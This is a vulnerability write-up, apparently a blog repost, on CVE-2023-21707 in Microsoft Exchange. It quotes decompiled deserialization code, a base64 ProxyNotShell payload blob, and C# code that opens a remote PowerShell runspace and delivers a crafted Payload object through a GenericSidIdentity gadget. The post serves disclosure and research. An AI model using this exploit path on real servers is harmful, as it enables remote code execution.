Microsoft Exchange Powershell Remoting Deserialization leading to RCE (CVE-2023-21707)
Introduction
While analyzing CVE-2022-41082
, also known as ProxyNotShell, we discovered this vulnerability which we have detailed in this blog. However, for a comprehensive understanding, we highly recommend reading the thorough analysis written by team ZDI.
To aid in understanding, we present a visual representation of CVE-2022-41082
below.
The sink of ProxyNotShell:
//System.Management.Automation.InternalDeserializer.ReadOneObject()
internal object ReadOneObject(out string streamName)
{
//...
Type targetTypeForDeserialization = psobject.GetTargetTypeForDeserialization(this._typeTable); //[1]
if (null != targetTypeForDeserialization)
{
Exception ex = null;
try
{
object obj2 = LanguagePrimitives.ConvertTo(obj, targetTypeForDeserialization, true, CultureInfo.InvariantCulture, this._typeTable); //[2]
}
//...
}
At [2], if targetTypeForDeserialization
!= null, it will continue to call LanguagePrimitives.ConvertTo()
to convert the original obj
to the Type specified by targetTypeForDeserialization
.
The LanguagePrimitives.ConvertTo()
method was previously cited in the PSObject
gadget section of the paper titled “Friday the 13th JSON Attacks”. The paper also discusses several possible methods of exploiting this method:
- Call constructor with 1 argument
- Call setter
- Call static method “Parse(string)” [method 3]
- Call custom Conversion [method 4]
- …
The vulnerability CVE-2022-41082
involves the use of LanguagePrimitives.ConvertTo()
twice with different approaches.
- The first usage utilizes [method 4] to reconstruct the
XamlReader
type. To achieve this, the custom conversion methodMicrosoft.Exchange.Data.SerializationTypeConverter.ConvertFrom() -> DeserializeObject()
is employed, which usesBinaryFormatter
with a whitelist to deserialize data. If the deserialize type happens to be aSystem.Type
, the target type would beSystem.UnitySerializationHolder
which is also on the whitelist. - At the second time, the process employs [method 3] to initiate a call to the static method
XamlReader.Parse(string)
, which subsequently triggers a Remote Code Execution (RCE) vulnerability. It is important to note thatXamlReader
is the deserialized Type obtained fromstep 1
.
The latest patch for CVE-2022-41082
introduces a new UnitySerializationHolderSurrogateSelector
that verifies the target Type during the process of deserializing System.UnitySerializationHolder
. Consequently, the exploitation of this vulnerability to invoke Type.Parse(string)
is no longer possible. This fix effectively mitigates the risk of malicious actors exploiting the vulnerability to execute arbitrary code.
The new variant
Take a look deeper at the [method 3] of LanguagePrimitives.ConvertTo()
, Exchange has implemented a custom PowerShell Type Conversion: SerializationTypeConverter
, method SerializationTypeConverter.ConvertFrom()
will directly call to DeserializeObject
[3]:
public override object ConvertFrom(object sourceValue, Type destinationType, IFormatProvider formatProvider, bool ignoreCase)
{
return this.DeserializeObject(sourceValue, destinationType); //[3]
}
private object DeserializeObject(object sourceValue, Type destinationType)
{
if (!this.CanConvert(sourceValue, destinationType, out array, out text, out ex)) //[4]
{
throw ex;
}
//...
using (MemoryStream memoryStream = new MemoryStream(array))
{
AppDomain.CurrentDomain.AssemblyResolve += SerializationTypeConverter.AssemblyHandler;
try
{
int tickCount = Environment.TickCount;
obj = this.Deserialize(memoryStream); //[5]
//...
}
private bool CanConvert(object sourceValue, Type destinationType, out byte[] serializationData, out string stringValue, out Exception error)
{
PSObject psobject = sourceValue as PSObject;
//...
object value = psobject.Properties["SerializationData"].Value; //[6]
if (!(value is byte[]))
{
error = new NotSupportedException(DataStrings.ExceptionUnsupportedDataFormat(value));
return false;
}
//...
stringValue = psobject.ToString();
serializationData = value as byte[];
}
internal object Deserialize(MemoryStream stream)
{
bool strictModeStatus = Serialization.GetStrictModeStatus(DeserializeLocation.SerializationTypeConverter);
return ExchangeBinaryFormatterFactory.CreateBinaryFormatter(DeserializeLocation.SerializationTypeConverter, strictModeStatus, SerializationTypeConverter.allowedTypes, SerializationTypeConverter.allowedGenerics).Deserialize(stream); //[7]
}
In DeserializeObject
, method CanConvert()
will get the SerializationData
property from the original PSObject as a byte array as indicated at [6], then directly pass into SerializationTypeConverter.Deserialize() -> BinaryFormatter.Deserialize()
as indicated at [7].
In ProxyNotShell’s payload, SerializationData
is represented like this:
<BA N="SerializationData">AAEAAAD/////AQAAAAAAAAAEAQAAAB9TeXN0ZW0uVW5pdHlTZXJpYWxpemF0aW9uSG9sZGVyAwAAAAREYXRhCVVuaXR5VHlwZQxBc3NlbWJseU5hbWUBAAEIBgIAAAAgU3lzdGVtLldpbmRvd3MuTWFya3VwLlhhbWxSZWFkZXIEAAAABgMAAABYUHJlc2VudGF0aW9uRnJhbWV3b3JrLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49MzFiZjM4NTZhZDM2NGUzNQs=</BA>
Deserialization to Remote Code Execution (RCE) can be prevented by using the whitelist SerializationTypeConverter.allowedTypes
, which contains around 1200 allowed types.
Upon closer inspection of this whitelist, a new variant of 41082
was discovered and named CVE-2023-21707
. One of the allowed types in the whitelist is Microsoft.Exchange.Security.Authentication.GenericSidIdentity
. By utilizing this whitelist and including the specific allowed types, the risk of Deserialization to RCE can be significantly reduced.
The inheritance tree for GenericSidIdentity
:
GenericSidIdentity
ClientSecurityContextIdentity
System.Security.Principal.GenericIdentity
System.Security.Claims.ClaimsIdentity <---
If you have previous experience with .NET Deserialization, you would be able to quickly recognize the ClaimsIdentity
class. This class is included in the gadget chain of the well-known tool ysoserial.net.
Microsoft.Exchange.Security.Authentication.GenericSidIdentity
is a subclass of ClaimsIdentity
. During deserialization, the ClaimsIdentity
object is reconstructed first, followed by a call to ClaimsIdentity.OnDeserializedMethod()
.
This presents an opportunity for exploitation, as we can abuse this behavior to trigger RCE during the second deserialization phase.
Payload delivery
Despite the persistence of the underlying bug, the implementation of the ProxyNotShell
patch has effectively neutralized the SSRF vulnerability previously present at the autodiscover entrypoint. Consequently, the previous method of sending payloads is no longer viable.
Following several days of investigation, I have discovered that it is still possible to access the /powershell entrypoint remotely, albeit with a restriction that limits access exclusively to the HTTP protocol:
To do it programmatically, we can use WSManConnectionInfo
and RunspaceFactory.CreateRunspace()
to establish a powershell session to target Exchange server:
string userName = "john";
string password = "";
string uri = "http://exchange.lab.local/powershell";
PSCredential remoteCredential = new PSCredential(userName, ToSecureString(password));
WSManConnectionInfo wsmanConnectionInfo = new WSManConnectionInfo(uri, "http://schemas.microsoft.com/powershell/Microsoft.Exchange", credentials);
wsmanConnectionInfo.AuthenticationMechanism = this.authType;
wsmanConnectionInfo.MaximumConnectionRedirectionCount = 5;
wsmanConnectionInfo.SkipCACheck = true;
wsmanConnectionInfo.SkipCNCheck = true;
this.runspace = RunspaceFactory.CreateRunspace(wsmanConnectionInfo);
this.runspace.Open();
After that, we can create a PowerShell Session with created runspace and invoke command. To deliver the payload, we can pass it as an argument like this:
object payload = new Payload();
using (PowerShell powerShell = PowerShell.Create())
{
powerShell.Runspace = this.runspace;
powerShell.AddCommand("get-mailbox");
powerShell.AddArgument(payload);
powerShell.Invoke();
}
One important aspect to note is that the PowerShell.AddArgument(object)
function can accept any object as an argument.
This step is akin to the process of crafting the payload in ProxyNotShell, but instead of manual crafting, we carry it out programmatically. By utilizing this function, we can dynamically add arguments to the PowerShell command, which allows for greater flexibility and customization in our approach.
Content of Payload
Class:
using System;
public class Payload: Exception
{
private byte[] _serializationData;
public byte[] SerializationData
{
get => _serializationData;
set => _serializationData = value;
}
public Payload(byte[] serializationData)
{
SerializationData = serializationData;
}
}
To ensure proper functionality, it is required that this particular class inherits the System.Exception
type, as explained in detail in this article. Additionally, a public property named SerializationData
must be included in the class, which will serve as a container for the bypass gadgetchain GenericSidIdentity
.
To implement this, we generate a GenericSidIdentity
object and set its m_serializedClaims
field value to the actual RCE gadgetchain, which can be created through the use of ysoserial.
While there are various methods to accomplish this, in my proof of concept, I opted to create a new class that inherits from GenericIdentity
:
And use a Custom Serialization Binder to rewrite Class Name during the serialization:
In order to execute the exploit successfully, certain prerequisites need to be fulfilled:
- The attacker’s machine should have access to port 80 of the targeted Exchange server.
- The PowerShell entry point’s authentication method must be Kerberos (as opposed to NTLM), requiring access to port 88 of the Domain Controller while running the exploit.
It is important to note that this exploit is not viable for an internet-facing Exchange server due to its technical limitations.
The following images details the successful exploitation of code including proof of execution and information about the resulting call stack.
Thanks for reading!
Demo
References
- https://www.zerodayinitiative.com/blog/2022/11/14/control-your-types-or-get-pwned-remote-code-execution-in-exchange-powershell-backend
- https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf
- https://learn.microsoft.com/en-us/powershell/exchange/connect-to-exchange-servers-using-remote-powershell?view=exchange-ps
- https://www.zerodayinitiative.com/blog/2022/11/14/control-your-types-or-get-pwned-remote-code-execution-in-exchange-powershell-backend
原文始发于Nguyễn Tiến Giang (Jang):Microsoft Exchange Powershell Remoting Deserialization leading to RCE (CVE-2023-21707)
转载请注明:Microsoft Exchange Powershell Remoting Deserialization leading to RCE (CVE-2023-21707) | CTF导航